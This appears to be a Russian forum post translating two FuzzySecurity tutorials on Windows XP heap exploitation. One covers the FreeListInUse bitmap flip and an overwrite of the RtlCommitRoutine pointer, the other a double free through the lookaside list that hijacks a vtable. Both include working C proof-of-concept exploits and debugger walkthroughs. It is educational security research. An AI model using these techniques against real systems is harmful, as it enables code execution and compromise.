7C910CFC   . 83E1 07        AND ECX,7                          ; entryByte = size & 7, ecx = entryByte
7C910CFF   . 33D2           XOR EDX,EDX                        ; edx = NULL
7C910D01   . 42             INC EDX                            ; edx = 0x01
7C910D02   . D3E2           SHL EDX,CL                         ; byteToSet = 1 << entryByte
7C910D04 . 8995 04FFFFFF MOV DWORD PTR SS:[EBP-FC],EDX 7C910D0A . 8D8418 5801000>LEA EAX,DWORD PTR DS:[EAX+EBX+158] ; eax = 0x004907A6 FreeListInUse Offset
7C910D11   . 33C9           XOR ECX,ECX                        ; ecx = NULL
7C910D13   . 8A08           MOV CL,BYTE PTR DS:[EAX]           ; current_val = FreeListInUse[
                                                               ; FreeListInUseOffset ]
7C910D15   . 33CA           XOR ECX,EDX                        ; current_val = xor(current_val,byteToSet)
7C910D17   . 8808           MOV BYTE PTR DS:[EAX],CL           ; FreeListInUse[ FreeListInUseOffset ] =
                                                               ; current_val


1606109835800.png


Важно отметить, что byteToSet всегда будет равен единице. Проведём пару тестов XOR.
Код:
>>> current_val = 0
>>> byteToSet = 1
>>> current_val^byteToSet
1
>>> current_val = 1
>>> current_val^byteToSet
0
Мы видим что значение FreeListInUse зависит от последнего значения. Остановитесь и задумайтесь как это работает прежде, чем продолжить. Мы эксплуатируем этот простой факт и принцип работы функции XOR. Что если нам удастся добиться ситуации, в которой мы будет контролировать один бит в FreeListInUse?


Эксплуатация FreeListInUse (bitmap flip attack, атака инверсией битмапа)
Прежде чем демонстрировать способы инверсии битов во FreeListInUse, давайте рассмотрим результаты подобной ситуации. Допустим, у вас нет чанков в элементе FreeList[0x66]. Это будет выглядеть вот так:
Код:
FreeList[0x066]   0x00a804a8 -> [ flink: 0x00a804a8 |  blink: 0x00a804a8 ]

В сущности FreeListInUse для этого элемента будет содержать 0. Теперь предположим, что FreeListInUse был установлен в 1. Запроси мы аллокацию определённого размера (0x66*0x8/8) или меньше, RtlAllocateHeap() начнёт сканировать FreeListInUse и искать элемент, удовлетворяющий запросу (при условии, что lookaside пуст).

Поэтому на запрос вернётся адрес 0x00a804a8 как “валидный” чанк. Теперь поскольку при отсутствии чанков FreeList[n] указывает только на самого себя, будет возвращаться смещение, близкое к структурам управления текущей кучей.

Несложно понять, что на этом этапе будет просто записать по адресу 0x00a804a8, скажем, 216 байт и перезаписать указатель RtlCommitRoutine, расположенный по смещению 0x57c. Однако в процессе тестирования этой атаки и восстановления RtlAllocateHeap(), я заметил, что после инверсии FreeListInUse проверяется еще одно условие.

Аллоцируемый чанк должен быть последним элементом в списке, иначе RtlAllocateHeap() попытается пройтись по всем элементам, вызвав ошибку доступа. Посмотри на код:

1606109869600.png


Обратите внимание на инструкцию TEST CL,0x10. Мы знаем, что 0x10 обозначает последний чанк в элементе. Теперь если мы заглянем во FreeList[n], адрес чанка будет указывать на flink/blink, но не на заголовок. Для проверки этого условия нам нужно взять адрес чанка, отнять от него 0x8 и прибавить 0x5, чтобы добраться до флага чанка в его заголовке. Это проще понять визуально:

1606109902800.png


Если мы сдампим чанк по адресу 0x00a804a8, тогда его заголовок будет расположен в 0x00a804a0, а флаг – в 0x00a804a5 (курсор указывает на него):

1606109923500.png


Если мы изменим его на известное значение (0x10 вместо 0x04) и инструкция TEST будет исполняться с аргументом 0x10, проверка не будет пройдена и прыжок не будет производиться (конечно, CMP был бы лучшим вариантом). Псевдокод выглядит примерно так:
Код:
if (chunk->flag & 0x10) <= 0:
           walk_freelist_entry()
Давайте изменим его:

1606109954900.png

Какие бы значения мы бы не использовали, бит номер 5 в их бинарном представлении должен быть установлен, чтобы пройти проверку (то есть, 0b00010000). Получается мы имеем 256 / 2 = 128 возможных байтов, которые можно использовать для прохождения проверки на ПОСЛЕДНИЙ чанк. Вот эти значения:
Код:
0x10-0x1f
0x30-0x3f
0x50-0x5f
0x70-0x7f
0x90-0x9f
0xb0-0xbf
0xd0-0xdf
0xf0-0xff
Как уже было сказано ранее Freelist начинается с 0x0178 и заканчивается на 0x0570. Получается, можно использовать только значения 0x1-0x5, что не сработает для чанка, расположенного во freelist[n]. Одним из вариантов обойти это будет иметь свободный чанк в FreeList[n] ПЕРЕД тем чанком, который вы хотите аллоцировать. Его адрес должен содержать байт из списка выше на третьей слева позиции. Например, 0xXXXXYYXX, где YY – один из перечисленных выше байтов. Ещё раз изобразим это:

1606109984200.png


Видно, что предыдущий элемент содержит значение 0x32 вместо 0x4. Посмотрим дамп:

1606110006100.png

Обойдет ли 0x32 проверку? Да, проверка на условие вернёт False и переход не произойдет:
Код:
>>> print (0x32 & 0x10) <= 0
False

Раз уж переход не происходит, начнём разрывать связи списка. Допустим мы делаем вызов HeapAlloc(984). На данном этапе в регистре EAX нам должен вернуться адрес 0x00490558.

Инверсия бита
Прежде чем мы аллоцируем из FreeList[n] подделанный чанк, нам придётся как-то обойти битовую маску. Пока что мне известны три способа:
  • Добиться переполнения буфера кучи и изменить размер только чанка из FreeList[n] (он должен быть единственным чанком в элементе). Заменять размер нужно в соответствии с позицией бита, который вы хотите перевернуть. Так при освобождении измененного чанка будет меняться бит соответствующего размера.
  • Добиться переполнения кучи, изменить размер чанка, flink/blink и выставить флаг чанка в значение 0x10. Этот чанк должен храниться во FreeList[n], но не обязан быть единственным. Присвоив flink и blink одно и то же значение и установив флаг, мы добиваемся того, что система думает, что это последний чанк в элементе Freelist. При аллокации этого чанка бит во FreeListInUse, соответствующий его размеру станет равен единице.
  • Получить контроль над примитивами (здесь и далее автор имеет ввиду примитив записи – инструкция, позволяющая записывать данные по произвольному (контролируемому атакующим) указателю. – прим. пер.) через “inc(ptr)”. Изменить значение FreeListInUse для пустого элемента. Аллоцировать чанк размером “(размер элемента) – 8”. Кто сказал, что не понадобится переполнение буфера? Об этом ниже.
В процессе тестирования и анализа результатов я понял, насколько важно иметь возможность симулировать переключение битов FreeListInUse. Поэтому я добавил в !heaper функцию, которая позволит вам это делать.

1606110030800.png


Взглянем на FreeListInUse из кучи 0x00490000:

1606110060100.png


Изменим элемент FreeList[20] во FreeListInUse:

1606110095400.png


Теперь всё что нам нужно это убедиться, что свободный чанк находится в FreeList[0x1c] и соответствующий ему флаг имеет установленный 5й бит (см. выше).

30 мая 2007 года в списке рассылки DailyDaves Николас Вайсман загадал загадку, как можно было бы эксплуатировать инструкции inc [r32], имея контроль над примитивами.
Давайте-ка для поддержания духа решим интересную загадку (чуваки, сейчас 11 часов вечера, впереди бессонная ночь).
Загадка: допустим вы хотите заэксплоитить удаленный сервис на старенькой Windows 2000 (любой SP) и имеете примитив inc [edi] (вы контролируете edi).
Что лучше всего поместить в edi?
Нико
Если бы мы могли получить контроль на примитивом и могли бы инкрементировать указатель на любой участок памяти несколько раз, мы могли бы провести такую атаку:

Предположим следующее (так себе предположение, я знаю):
  • База кучи расположена на 0x00490000
  • Во FreeList[n] нет элементов, кроме FreeList[0]
  • Значение EDX контролируется нами
  • Мы находимся на инструкции: inc byte [edx]
Мы можем производить инкремент несколько раз (вы скорее всего могли бы провести и другие атаки, но этот пример задуман именно так)
1) Кладём в EDX 0x0049015c и изменяем FreeListInUse.

1606110129400.png


Взглянем на FreeListInUse:

1606110149100.png


2) Теперь нужно убедиться, что флаг чанка во FreeList[0x20], указывающего на сам элемент (поддельный чанк), установлен в нужное значение. Текущее его значение:

1606110170000.png


Это было просто, теперь инкрементируем его до 0x10, используя контролируемый нами примитив:

1606110192400.png

Теперь, при запросе на аллокацию 0x20 байт менеджер кучи радостно вернет указатель на FreeList[20] (0x00490278)!
  • Нам даже не понадобилось переполнение кучи! ?
  • Мы не освобождали чанки из FreeList[n]!
  • Нужно было контролировать примитив для инструкции inc byte [r32].
  • Нужно было контролировать две аллокации определённого размера. Одна достаёт элемента FreeList[n] в виде валидного чанка и другая – запрашивает у аллокатора выделение дополнительной памяти, обращающееся к указателю на функцию RtlCommitRoutine().
Эксплуатация через RtlCommitRoutine
Мне не удалось добиться успешного использования этой эксплуатации (по крайней мере сейчас). Это связано с большим количеством испорченных указателей в структуре кучи, которые каким-то образом использовались (чтение/запись) до обращения к RtlCommitRoutine по смещению 0x57c. Среди них указатель на Lock Variable по смещению 0x578.
Так или иначе вот код, который я пытаюсь использовать:
Код:
7C918B26   . 8B88 7C050000  MOV ECX,DWORD PTR DS:[EAX+57C]
7C918B2C   . 85C9           TEST ECX,ECX
7C918B2E   . 0F85 9F210300  JNZ ntdll.7C94ACD3

;делаем прыжок, если ecx != 0

7C94ACD3   > 57             PUSH EDI
7C94ACD4   . 8D55 0C        LEA EDX,DWORD PTR SS:[EBP+C]
7C94ACD7   . 52             PUSH EDX
7C94ACD8   . 50             PUSH EAX
7C94ACD9   . FFD1           CALL ECX <- исполнение кода

Однако если у вас уже есть возможность “записи четвёрки” или вы можете перезаписать flink чанка из lookaside и вернуть его, вы можете просто перезаписать сам указатель. heapbase+0x57c->heapbase+0x608->RtlCommitRoutime. Предполагая, что база кучи находится на 0x00490000, нужно будет просто присвоить flink 0x0049608 и поместить туда произвольный код.

Где же я облажался?
Для начала нам нужно пройти две проверки, начиная с 0x7c90100b.

1606110220500.png


Их можно пройти, поместив по смещению lock variable значение 0xffffffff00000000 в структуре кучи (это можно сделать через переполнение). Затем проверяется, есть ли свободные чанки во FreeList[0].

1606110242100.png


После этого мы попадаем в код, проверяющий смещение 0x668 (я думаю, что это указатель на FrontEndHeapType) и 0x654 на равенство определенным значениям. Но я подозреваю, что эти смещения некорректны, потому что значение EAX вероятно было неправильным 0x00490640.

1606110273700.png


Как только проверки пройдены, вызывается sub_7C918AE3.

1606110303500.png


В этой функции проводится еще несколько проверок потенциально некорректных значений в структуре кучи:

1606110343200.png


Наконец после этого мы попадаем в ту часть кода, где должен быть вызван наш шеллкод:

1606110410900.png


Конечно, это только один путь, я не анализировал другие варианты, но беглый просмотр показывает только два вызова функций, которые могут передать управление переписанному нами указателю, и они оба имеют начало в RtlAllocateHeap.

1606110442300.png


Возможное решение
Рассматривая различные варианты обхода этих проверок, я пришёл к следующему решению: мы можем просто аллоцировать и заполнять буфер до того момента, пока не доберемся до указателя на RtlCommitRoutine. Дальше переписывать не нужно.

Поскольку в процессе будут инвалидированы несколько указателей, всё равно остаётся надежда, потому что теоретически единственное, что нам нужно – убедиться что FreeList[0] пуст и восстановить lock variable (которую мы перезаписали, забивая буфер) с самим указателем на база_кучи+0x570 -> база_кучи+0x570. Помните, что база кучи может не содержать нуль-байты в реальном примере.

Если еще немного проанализировать FreeList, мы заметим, что при определенном размере мы можем делать аллокации, инвалидирующие всё остальное во FreeList и *всего лишь* перезаписывают указатель.
Код:
Heap dump 0x00490000, item 75
Address=0x00490380
Chunks=[041]   0x00490380 -> [ 0x00490380 |  0x00490380 ]

Например, посчитаем размер этого элемента 0x41 * 8 – 8 = 0x200 или 512 байт. Тогда максимальный размер аллокации: 512 байт.

Теперь расстояние между 0x0049057c (указатель на RtlCommitRoutine) и 0x00490380 (чанк в FreeList[41]) составляет 508 байт. Теперь, если мы аллоцируем из FreeList[41], мы можем забить буфер до 512 байт. По сути нам нужна *только* аллокация и перезапись указателя по смещению 0x57c от базы кучи ?

Разумеется нам нужно будет восстановить указатели на 0x578 и на 0x570, но это однозначно выглядит как работоспособный вариант.

Update: Выяснилось, что теория реально работает! Вам нужно удостовериться, что заголовок поддельного чанка имеет правильные значения флага и текущего размера. Если мы можете делать произвольные аллокации и освобождать их, значит вы можете помещать чанки в FreeList[40], пока не удовлетворите свои потребности (free and pray? (освобождай и молись?)).

1606110475000.png


Бинго!

1606110492700.png


Пример атаки
Ниже представлен мой пример FreeListInUse.c, если хотите, скомпилируйте его и повторяйте мои действия. Скачав файл, скомпилируйте его любимым компилятором. Я использую Dev C++.

Замечание: возможно у вас пример не заработает (попробуйте догадаться, почему).
Код:
/*
    FreeListInUse bitmap flip пример
    Метод Николаса Вайсмана
    PoC разработан Стивеном Силей

    Заметка: вы можете поиграть с количеством аллокаций/освобождений, не ограничиваясь моим подходом. Это просто пример

*/
#include <stdio.h>
#include <windows.h>
int main(int argc,char *argv[])
{
    char *a,*b,*c,*d,*e,*f,*g,*h,*i,*j,*k,*l,*m,*trigger;
    char *x, *y, *w, *u, *z, *q, *o;
    long *hHeap;

    hHeap = HeapCreate(0x00040000,0,0);

    a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
    b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
    c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
    d = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);

    e = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
    f = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16); // переходим во freelist[0x3], потому что уже есть два занятых чанка
    g = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16); // заключительный чанк

    // аллокации в freelist[0x7b]
    z = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,976);
    x = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,976);
    y = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,976);
    w = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,976);

    q = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,976);
    u = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,976); // переходим во freelist[0x3], потому что уже есть два занятых чанка
    o = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,976); // заключительный чанк

    // заполняем lookaside[0x3]
    HeapFree(hHeap, 0, a);
    HeapFree(hHeap, 0, b);
    HeapFree(hHeap, 0, c);
    HeapFree(hHeap, 0, d);

    // вставка во freelist[0x3]
    HeapFree(hHeap, 0, f);

    printf("(+) Чанк e: 0x%08x\n",e);
    printf("(+) Заполняем чанк e (16-ю байтами), переполняясь и попадая в чанк f (0x%08x) одним байтом:\n",e);
    printf("(+) Переполнение с размером 0x7c (AAAAAAAAAAAAAAAA|)...\n");
    gets(e);

    // удаляем чанки из lookaside
    h = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
    i = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
    j = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);
    k = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);

    // в этом месте мы переворачиваем бит. FreelistInUse [0x7c] = 1
    l = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,16);

    // заполняем lookaside[0x7b]
    HeapFree(hHeap, 0, z);
    HeapFree(hHeap, 0, x);
    HeapFree(hHeap, 0, y);
    HeapFree(hHeap, 0, w);

    // вставка во freelist[0x7b]
    HeapFree(hHeap, 0, u);

    // возвращаем чанк, указывающий на самого себя во freelist[0x7c], после чего мы сможем перезаписывать управляющую структуру кучи...
    m = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,984);

    printf("(+) Заполняем чанк m, уничтожая управляющую структуру:\n");
    gets(m);

    // запрашиваем расширение кучи, вызывая RtlCommitRoutine
    trigger = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,4096);

    exit(0);
}
Начнём, открыв бинарный файл в Immunity Debugger. Установим точки останова на адресах 0x004016C4 и 0x00401612 (оба вызывают HeapAlloc) и выполним команду ‘!hidedebug ZwQueryInformationProcess’.

1606110532000.png


Анализируя FreeListInUse и FreeList[n] мы видим, что элемент 0x3 содержит пустые чанки. Заметьте, что их размер составляет 0x10.

1606110561800.png


Мы собираемся перезаписать этот размер (перезапись одного байта), а затем аллоцировать его. Это инвертирует бит во FreeListInUse, соответствующий перезаписанному размеру.

Введем 16 ASCII символов и в конец добавим “|”. Например: AAAAAAAAAAAAAAA|. Мы планируем перезаписать размер значением “\x7c”. Жмём Enter. Вы должны остановиться на первой точке останова по адресу 0x00401612.

1606110599100.png


Давайте изучим проверку еще раз. Заметьте, что на этом этапе бит FreeListInUse с размером 0x7c все еще равен нулю, но мы перезаписали размер чанка, лежащего во FreeList[0x3]:

1606110626400.png


Перепрыгнем через выполнение HeapAlloc() клавишей F8 и взглянем на содержимое FreeList и FreeListInUse. Мы увидим, что бит в FreeListInUse для элемента 0x3 установлен, но таких чанков не существует:

1606110649800.png


Нашей задачей было перевернуть бит для 0x7c, проверим, получилось ли у нас это:

1606110685400.png


Теперь мы попадаем на вторую точку останова. Происходит попытка аллокации из элемента 0x7c. Однако этого не произойдёт, пока мы не освободим чанк перед элементом 0x7c. Запустите приложение и вы увидите, что чанк освобождается в элементе 0x7b после прохождения брейкпоинта на 0x004016c4. Можно быть уверенным, что соответствующий бит в FreeListInUse также установлен.

1606110726900.png


Теперь перепрыгнем через вызов функции клавишей F8. В регистре EAX должно быть значение 0x00490558 (адрес на сам FreeList[0x7c]!).

1606110769200.png


Всё, что осталось сделать, это перезаписать указатель RtlCommitRoutine по смещению 0x57c. 0x57c-0x558 = 36 байт + 4 байта на контроль указателя. Заметьте, что как только вы производите аллокацию, вы уничтожаете все указатели, начиная со смещения 0x558:

1606110789100.png


И всё же давайте перезапишем структуру строкой “\x41” * 36 + “\x44” * 4. После этого значение указателя будет состоять из букв D:

1606110812100.png

В этом месте вы можете потребовать расширение кучи (запросить больше памяти из сегмента кучи). Это легко делается вызовом HeapAlloc() с размером, превышающим любой чанк во FreeList[0]. Разумеется, вы не можете аллоцировать любой размер из FreeList[n] после 0x7c, поскольку этих чанков больше не существует. Я не привёл всех подробностей в этом обзоре, потому что хочу, чтобы читатель подумал самостоятельно и понял, почему это не будет работать с кодом, который я предоставил выше. Подсказка: обратите внимание на размер (я упоминал это как возможно решение).


Заключение
В то время как атака инверсией бита FreeListInUse является удивительной техникой, она создает много трудностей атакующему. Без сомнения, при определённых условиях, это будет идеальный способ эксплуатации аллокатора кучи и перезаписи управляющих структур. Реальной проблемой является проверка, что поддельный заголовок содержит правильный размер и значение флага. Хотя атаку непросто провести, она даёт чуть больше, чем другие атаки кучи, зависящие от приложения, поскольку вам в действительности не нужно переполнение кучи, чтобы атака прошла успешно.

Выражаю большую благодарность Николасу Вайзману за открытие этой техники и его помощь в моих попытках разобраться в ней. Также благодарю Брета Мура за его превосходное и подробное исследование “Кучи про кучи” (“Heaps about heaps”). И наконец, вы можете скачать обновленную версию !heaper. Вместе с написанием этих туториалов я также обновляю его код.

Источник: https://www.fuzzysecurity.com/tutorials/mr_me/5.html
Перевод: анонимный переводчик, редакция: @N3M351DA
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ранее мы рассмотрели различные техники обхода механизмов защиты Windows при переполнении кучи. Сегодня же у меня для вас сюрприз. Сегодня мы познакомимся не с очередной техникой атаки переполнением, а узнаем, как использовать уязвимость типа “двойное освобождение” при переполнении.
Многие скажут вам, что двойное освобождение трудно эксплуатировать, но я вас уверяю: зачастую эксплуатация этого бага легче, чем обычное переполнение кучи. Мне всегда было любопытно, как можно эксплуатировать эти уязвимости, ведь нередко такие уязвимости обозначены как критические.

На вашей машине нужно установить:

  • Windows XP с установленным SP2/SP3
  • Immunity Debugger
  • pyparser
  • graphviz
  • heaper.py – плагин к immunity debugger
  • Компилятор C/C++ (Dev C++, lcc-32, MS visual C++ 6.0 (если вы сможете его достать))
  • Удобный для вас скриптовый язык (Я использую python, вы можете пользоваться perl)
  • Мозги (и/или настойчивость)
  • Некоторые знания Ассемблера и языка C. Также умение использовать плагин HideDbg для Olly или !hidedebug для Immunity debugger
  • Некоторые знания о внутренних механизмах работы кучи
  • Время
К сожалению, когда я проводил свой анализ, Immunity Debugger не всегда работал корректно, а несколько раз даже падал. Но это нас не остановит ?

Что такое двойное освобождение?

Определение из не очень популярной OWASP wiki (https://owasp.org/www-community/vulnerabilities/Doubly_freeing_memory):
“Ошибка двойного освобождения возникает, когда одно и то же значение указателя передается free() более одного раза”
При обсуждении этого определения я пришёл к выводу, что эта уязвимость на самом деле не является переполнением буфера (хотя OWASP говорит именно об этом). Если у атакующего появляется возможность освободить один и тот же блок памяти дважды, то он может использовать это, изменив висящий указатель на чанк в куче и модифицировать метаданные, чтобы произвести определенную атаку.
Допустим у вас есть освобождённый чанк размером 0x24. И пусть последним элементом lookaside[4] является один из указателей, который будет освобождаться дважды. Таким образом вы достаточно легко получите два идентичных указателя, хранящихся в разных аллокаторах кучи.
Если атакующий владеет *некоторым* (на самом деле минимальными) упорством, это может открыть широкий спектр атак, которые мы рассматривали ранее:

  • Перезапись чанка в lookaside при освобождении памяти дважды в lookaside[n] и повторном размещении одного из элементов. Затем перезапись головы списка с висящим указателем и возвращение зловредного flink с целью перезаписи указателя на функцию.
  • Освобождение одного чанка в lookaside, а другого во FreeList. Таким образом, при аллокации чанка из lookaside происходит перезапись flink/blink в элементе freelist. С помощью этой техники можно:
    • Заставить flink указывать на зловредный (поддельный) чанк и вставить его во FreeList[0] после его разделения и возврата после relink. Оставшийся чанк будет вставлен перед поддельным и перезапишет blink поддельного. После этого blink будет указывать на зловредный flink (Брет Мур – FreeList[0] relink атака).
    • Заставить flink указывать на поддельный чанк. В этом случае при запросе чанка возвращается поддельный (Брет Мур – FreeList[0] атака поиском)
    • Заставить flink указывать на элемент Lookaside или таблицу функций. Blink при этом должен указывать на другую функцию, тем самым контролируя адрес, куда указывает вставленный чанк. Это может дать возможность создавать чанки в Lookaside[n] и доставать их оттуда, пока не будет получен зловредный flink (Брет Мур – FreeList[0] атака вставкой)
    • Изменить размер и разместить чанк из элемента списка (после очистки lookaside). Затем в битмапе нужно изменить бит, соответствующий перезаписанному размеру. (Николас Вайзман 2008).
  • Напрямую вернуть чанк, адресом которого является сдвиг от базы кучи. С его помощью можно перезаписать управляющие структуры и получить контроль над кучей (Николас Вайзман 2008)
  • Освободить два чанка во FreeList[n] и аллоцировать один из них. Перезаписать его размер и указатели flink/blink (предполагается, что этот чанк не единственный в элементе FreeList[n]) на другие элементы. Аллоцировать соответствующий размер, что изменит значение бита FreeListInUse соответствующего размера. Это даст возможность атакующему вернуть чанк, адрес которого является сдвигом от базы кучи (Николас Вайзман 2008)

Пример эксплуатации уязвимости двойного освобождения

Начнём с кода. Скомпилируйте его (замечание: я использую ассемблерные вставки(AT&T) для поиска по vtable и вызовы функций):

C:
/*
exploiting a double free via overwriting a chunk on the lookaside
poc example by Steven Seeley
Thanks to Brett Moore for the vtable code
 
Note: we overwrite an application specific function pointer
and trigger it, transferring code execution to the attackers controlled buffer.
*/
 
#include <stdio.h>
#include <windows.h>
 
char *b1,*b2,*b3,*b4,*c1,*c2,*c3,*c4,*d1,*d2,*d3;
char *trigger;
long *pHeap;
int i;
DWORD function[20];
DWORD ptr1, ptr2;
 
void callback1(){
        printf("(+) Executed application callback 1...\n");
}
 
void callback2(){
        printf("(+) Executed application callback 2...\n");
}
 
void callback3(){
        printf("(+) Executed application callback 3...\n");
}
 
void callback4(){
        printf("(+) Executed application callback 4...\n");
}
 
void create_vtable(){
        int x;
        printf("(+) Creating vtable...\n");
 
        (DWORD) function[0] = (DWORD) &callback1;
        (DWORD) function[1] = (DWORD) &callback2;
        (DWORD) function[3] = (DWORD) &callback3;
        (DWORD) function[4] = (DWORD) &callback4;
 
        for(x=5;x<20;x++){
                (DWORD) function[x] = (DWORD) &callback1;
        }
}
 
int main(int argc,char *argv[])
{
 
       pHeap = HeapCreate(0x00040000,0,0);
 
       printf("[ -------- double free -------- ]\n");
       create_vtable();
       printf("\n(+) Created vtable @ 0x%08x\n", &function);
       printf("(+) Performing vtable lookup @ 0x%08x and set to call 0x%08x\n", &function, &function[4]);
 
       ptr1 = (int)function;
 
       // vtable lookup and callback4
       __asm__("movl %0, %%ecx":"=m"(ptr1) );
       __asm__("mov 0x10(%ecx),%eax\n");
       __asm__("call *%eax");
 
      b1=HeapAlloc(pHeap, 0, 24);
      b2=HeapAlloc(pHeap, 0, 24);
      b3=HeapAlloc(pHeap, 0, 24);
      b4=HeapAlloc(pHeap, 0, 24);
 
      HeapFree(pHeap, 0, b1);
      HeapFree(pHeap, 0, b2);
      HeapFree(pHeap, 0, b3);
      HeapFree(pHeap, 0, b4); // 1st free
      HeapFree(pHeap, 0, b4); // 2nd free (double free)
 
      c1=HeapAlloc(pHeap, 0, 24);
      c2=HeapAlloc(pHeap, 0, 24);
      c3=HeapAlloc(pHeap, 0, 24);
      c4=HeapAlloc(pHeap, 0, 24);
 
      printf("(+) Chunk b4 (0x%08x) is now freed twice and is dangling..\n",&b4);
      printf("(+) Overwrite the dangling chunk pointer's flink with a function pointer..\n");
      gets(c4);
 
      d1=HeapAlloc(pHeap, 0, 24);
      d2=HeapAlloc(pHeap, 0, 24);
      d3=HeapAlloc(pHeap, 0, 24); // return our controlled lookaside chunk
 
      printf("(+) Overwrite the returned function pointer...\n");
      gets(d3); // overwrite application specific pointer and gain code execution
 
      printf("(+) Performing vtable lookup @ 0x%08x and set to call 0x%08x\n", &function, &function[3]);
 
      ptr2 = (int)function;
 
      // vtable lookup at callback3
      __asm__("movl %0, %%ecx":"=m"(ptr1) );
      __asm__("mov 0xc(%ecx),%eax\n");
      __asm__("call *%eax");
 
      HeapDestroy( pHeap );
 
      exit(1);
}

При внимательном рассмотрении вы заметите, что мы используем указатели на функции приложения и что мы перезаписываем функцию в vtable. Откройте скомпилированную программу в отладчике и установить брейкпоинт сразу после вызова HeapCreate() (0x00401364). Также вызовите следующую команду:

!hidedebug ZwQueryInformationProcess

Теперь запустите приложение. После остановки на брейкпоинте с помощью heaper повесьте в куче несколько хуков на размещение и освобождение.

!heaper hook <heap> -h alloc !heaper hook <heap> -h free

Мы собираемся отследить размещение и освобождения, и, попытаться понять как они работают в процессе.

1606111249100.png


Вы заметите, что часть кода примера подсвечена. Это таблица виртуальных функций. По сути приложения на С++ имеют vtable для всех объектов (она хранится как первый DWORD по указателю на объект) и содержит функции-члены (методы) этого объекта. В приведённом примере нет объекта, только vtable, содержащая указатели, которые мы позже будем использовать для захвата управления процессом.

Заметьте, что vtable расположена по адресу 0x00404080. Это значение записывается в ECX, происходит вызов функцию по смещению +0x10 от него и управление передается этой функции. Это будет важно далее.

Следующее, что нужно сделать – установить брейкпоинты на последних двух вызовах HeapFree() и вывести дамп по адресу 0x00404080 (vtable). Вы увидите несколько DWORD адресов, которые используют для вызова определенных функций по смещению.

1606111285000.png


Давайте запустим приложение и проследим за вызовами HeapAlloc() и HeapFree():

1606111318000.png


Заметьте, если на этом этапе просмотреть содержимое lookaside[4], мы увидим 3 чанка, а во FreeList[4] не будет ни одного (нам ещё предстоит вызвать HeapFree дважды).

1606111345200.png


Перепрыгнув HeapFree(), мы обнаружим, что lookaside[4] теперь содержит чанк 0x00491e88, хотя этот адрес является некорректным. В lookaside должен был быть помещён 0x00491ef0. Я не знаю точно, почему это происходит в Immunity Debugger. Так или иначе у нас есть другие пути отслеживания действий приложения, поэтому эта проблема нам не помешает.

1606111397600.png

1606111376400.png


Теперь, остановившись на втором вызове HeapFree() (вызывающим двойное освобождение) мы видим следующие аргументы:

1606111443900.png


Давайте разберёмся, что происходит, рассмотрев логи хуков:

1606111476300.png


Всё, что осталось сделать – доставать чанки из lookaside[4] до тех пор, пока мы не получим тот, что вызывает двойное освобождение. Несмотря на четыре последовательных размещения из lookaside[4], чанк всё ещё находится в списке lookaside[4]. Нам нужно переписать всего 0x4 байта в чанке, чтобы изменить указатель flink, тем самым косвенно создавая поддельный чанк в lookaside.

1606111498500.png


Посмотрим на изменённый lookaside[4]:

1606111520400.png


Помните vtable? Если прокрутить ниже в окне дизассемблера, вы заметите вызов [vtable+0xc] после двойного освобождения. Мы знаем, что указатели на функции занимают DWORD (4 байта), значит всё, что нам нужно – перезаписать 3-й элемент в vtable.

1606111537400.png


Тут мы просто изменили первые четыре байта в элементе lookaside[4] (теперь выглядит так, что он содержит указатель на первый чанк) и поменять значение EAX на указатель на функцию 0x00404080+0xc.

1606111556900.png


Если мы сейчас продолжим выполнение, нам вернётся 0040408c как валидный адрес чанка.

1606111578800.png


Теперь мы можем поместить в него шеллкод. Если мы просто перезапишем первые 4 байта, то при вызове функции будет происходить вызов по контролируемому нами указателю на функцию, передавая управление нашему шеллкоду. Стоит заметить, что раз наша vtable хранится в ECX, мы можем попробовать сместить стек на эту область памяти и таким образом обойти DEP (Data Execution Protection ( предотвращение выполнения данных) – техника защиты, которая запрещает исполнять код из области памяти, помеченной как «только для данных»). Например, так: mov esp, ecx; pop r32; pop r32; pop r32; pop r32; retn.

1606111596100.png



В заключение

Как я сказал во введении, вы можете использовать практически любой вектор атаки на кучу для получения контроля с использованием двойного освобождения (в зависимости от уровня вашего упорства). Поскольку указатель является висячим, атакующий может переписать 0x4-0x8 байтов с указателями flink/blink (больше в случае, если чанк находится в lookaside) через аллокацию висячего чанка. Это открывает дорогу множеству видов атак на приложение, которые способны обойти механизмы защиты Windows XP SP3. Здесь я просто представил самый простой способ добиться исполнения кода. Однако этого без сомнений можно добиться с помощью двойного освобождения в lookaside и двойной аллокации.
К сожалению, я запомнил, как недавно в IRC один человек пытался меня троллить. В итоге ему удалось показать, что я не знаю, как использовать двойное освобождение. Этот пост посвящается тому плохому человеку (ред.) всем тем, кто постоянно спрашивает, что такое двойное освобождение и как его можно эксплуатировать.

Ссылки:

Уязвимости двойного освобождения // Часть 1 [Мэтью Коновер] – тут
Уязвимости двойного освобождения // Часть 2 [Мэтью Коновер] – тут
Эксплуатация Freelist[0] на XP SP2 [InsomniaSec] – тут

Источник: https://dc7495.org/heap-buffer-overflow-5/
Оригинал: https://www.fuzzysecurity.com/tutorials/mr_me/6.html

Автор: Перевод – Анонимный переводчик, ред. n3m351d4
fuzzysecurity (с)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх